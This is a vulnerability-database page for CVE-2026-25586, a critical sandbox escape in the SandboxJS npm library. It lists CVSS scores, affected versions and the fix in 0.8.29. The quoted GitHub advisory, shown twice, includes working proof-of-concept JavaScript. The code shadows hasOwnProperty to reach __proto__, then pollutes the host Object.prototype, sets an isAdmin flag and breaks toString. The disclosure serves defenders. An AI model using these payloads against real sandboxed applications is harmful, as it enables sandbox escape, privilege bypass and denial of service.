CVE-2026-25586

SandboxJS has a Sandbox Escape via Prototype Whitelist Bypass and Host Prototype Pollution

10.0 CriticalFix available

SandboxJS is a JavaScript sandboxing library. Prior to 0.8.29, a sandbox escape is possible by shadowing hasOwnProperty on a sandbox object, which disables prototype whitelist enforcement in the property-access path. This permits direct access to proto and other blocked prototype properties, enabling host Object.prototype pollution and persistent cross-sandbox impact. This vulnerability is fixed in 0.8.29.

Attack profile

How easy it is to exploit

Attack vector: Network
Complexity: Low
Privileges needed: None
User interaction: None

What an attacker can affect

Confidentiality: High
Integrity: High
Availability: High

Exploit likelihood

0.69%Up 0.6 points since Feb 7, 2026

What each source reports

CVE List Score used 10.0

SandboxJS has a Sandbox Escape via Prototype Whitelist Bypass and Host Prototype Pollution

Record: CVE-2026-25586
CVSS 3.1: 10.0 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Weakness: CWE-74
Updated: 2026-11-02

EUVDEUVD-2026-5592 10.0

Record: EUVD-2026-5592
CVSS 3.1: 10.0 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Updated: 2026-11-02

GitHub AdvisoriesGHSA-jjpw-65fv-8g48 10.0

@nyariv/sandboxjs has Sandbox Escape via Prototype Whitelist Bypass and Host Prototype Pollution

Summary

A sandbox escape is possible by shadowing hasOwnProperty on a sandbox object, which disables prototype whitelist enforcement in the property-access path. This permits direct access to __proto__ and other blocked prototype properties, enabling host Object.prototype pollution and persistent cross-sandbox impact.

The issue was reproducible on Node v23.9.0 using the project’s current build output. The bypass works with default Sandbox configuration and does not require custom globals or whitelists.

Root Cause

prototypeAccess uses a.hasOwnProperty(b) directly, which can be attacker‑controlled if the sandboxed object shadows hasOwnProperty. When this returns true, the whitelist checks are skipped.

src/executor.ts:348 const prototypeAccess = isFunction || !(a.hasOwnProperty(b) || typeof b === 'number');

src/executor.ts:367-399 prototype whitelist enforcement only happens when prototypeAccess is true.

src/executor.ts:220-233 mutation guard uses obj.context.hasOwnProperty(...), also bypassable via shadowing.

Proofs of Concept

node node_modules/typescript/bin/tsc --project tsconfig.json --outDir build --declaration node node_modules/rollup/dist/bin/rollup -c Runtime target: dist/node/Sandbox.js

Baseline: `proto` blocked without bypass

const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();
try {
  const res = sandbox.compile(`return ({}).__proto__`)().run();
  console.log('res', res);
} catch (e) {
  console.log('error', e && e.message);
}

Prototype whitelist bypass -> host `Object.prototype` pollution

const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();
const code = `
  const o = { hasOwnProperty: () => true };
  const proto = o.__proto__;
  proto.polluted = 'pwned';
  return 'done';
`;

sandbox.compile(code)().run();

console.log('polluted' in ({}), ({}).polluted);

Logic bypass via prototype pollution

const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();

sandbox.compile(`
  const o = { hasOwnProperty: () => true };
  const proto = o.__proto__;
  proto.isAdmin = true;
  return 'ok';
`)().run();

console.log('isAdmin', ({}).isAdmin === true);

DoS by overriding `Object.prototype.toString`

const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();

sandbox.compile(`
  const o = { hasOwnProperty: () => true };
  const proto = o.__proto__;
  proto.toString = function () { throw new Error('aaaaaaa'); };
  return 'ok';
`)().run();

try {
  String({});
} catch (e) {
  console.log('error', e.message);
}

RCE via host gadget (prototype pollution ->…

Record: GHSA-jjpw-65fv-8g48
CVSS 3.1: 10.0 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Weakness: CWE-74
Updated: 2026-11-02

NVD 10.0

Record: CVE-2026-25586
CVSS 3.1: 10.0 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Weakness: CWE-74
Updated: 2026-11-02

OSV 10.0

SandboxJS has a Sandbox Escape via Prototype Whitelist Bypass and Host Prototype Pollution

Record: CVE-2026-25586
CVSS 3.1: 10.0 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Weakness: CWE-74
Updated: 2026-11-02

OSVGHSA-jjpw-65fv-8g48 10.0

@nyariv/sandboxjs has Sandbox Escape via Prototype Whitelist Bypass and Host Prototype Pollution

Summary

The issue was reproducible on Node v23.9.0 using the project’s current build output. The bypass works with default Sandbox configuration and does not require custom globals or whitelists.

Root Cause

prototypeAccess uses a.hasOwnProperty(b) directly, which can be attacker‑controlled if the sandboxed object shadows hasOwnProperty. When this returns true, the whitelist checks are skipped.

src/executor.ts:348 const prototypeAccess = isFunction || !(a.hasOwnProperty(b) || typeof b === 'number');

src/executor.ts:367-399 prototype whitelist enforcement only happens when prototypeAccess is true.

src/executor.ts:220-233 mutation guard uses obj.context.hasOwnProperty(...), also bypassable via shadowing.

Proofs of Concept

node node_modules/typescript/bin/tsc --project tsconfig.json --outDir build --declaration node node_modules/rollup/dist/bin/rollup -c Runtime target: dist/node/Sandbox.js

Baseline: `proto` blocked without bypass

const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();
try {
  const res = sandbox.compile(`return ({}).__proto__`)().run();
  console.log('res', res);
} catch (e) {
  console.log('error', e && e.message);
}

Prototype whitelist bypass -> host `Object.prototype` pollution

const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();
const code = `
  const o = { hasOwnProperty: () => true };
  const proto = o.__proto__;
  proto.polluted = 'pwned';
  return 'done';
`;

sandbox.compile(code)().run();

console.log('polluted' in ({}), ({}).polluted);

Logic bypass via prototype pollution

const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();

sandbox.compile(`
  const o = { hasOwnProperty: () => true };
  const proto = o.__proto__;
  proto.isAdmin = true;
  return 'ok';
`)().run();

console.log('isAdmin', ({}).isAdmin === true);

DoS by overriding `Object.prototype.toString`

const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();

sandbox.compile(`
  const o = { hasOwnProperty: () => true };
  const proto = o.__proto__;
  proto.toString = function () { throw new Error('aaaaaaa'); };
  return 'ok';
`)().run();

try {
  String({});
} catch (e) {
  console.log('error', e.message);
}

RCE via host gadget (prototype pollution ->…

Record: GHSA-jjpw-65fv-8g48
CVSS 3.1: 10.0 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Weakness: CWE-74
Updated: 2026-11-02

Affected products

nyariv sandboxjs

Affected packages

Affected packages
Package	Affected	Fixed
`@nyariv/sandboxjs` npm	through 0.8.28	0.8.29
`@nyariv/sandboxjs` npm	before 0.8.29	0.8.29

History

History
Recorded	Changed	Sources
Nov 2, 2026	first indexed	CVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-25586 is a critical vulnerability (CVSS 10.0) in Nyariv Sandboxjs, published February 5, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.69%, the 53rd percentile. Fixed in @nyariv/sandboxjs 0.8.29.

References

This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

Attack profile

How easy it is to exploit

What an attacker can affect

Exploit likelihood

What each source reports

Summary

Root Cause

Proofs of Concept

Baseline: __proto__ blocked without bypass

Prototype whitelist bypass -> host Object.prototype pollution

Logic bypass via prototype pollution

DoS by overriding Object.prototype.toString

RCE via host gadget (prototype pollution ->…

Summary

Root Cause

Proofs of Concept

Baseline: __proto__ blocked without bypass

Prototype whitelist bypass -> host Object.prototype pollution

Logic bypass via prototype pollution

DoS by overriding Object.prototype.toString

RCE via host gadget (prototype pollution ->…

Affected products

Affected packages

History

In short

References

Baseline: `proto` blocked without bypass

Prototype whitelist bypass -> host `Object.prototype` pollution

DoS by overriding `Object.prototype.toString`

Baseline: `proto` blocked without bypass

Prototype whitelist bypass -> host `Object.prototype` pollution

DoS by overriding `Object.prototype.toString`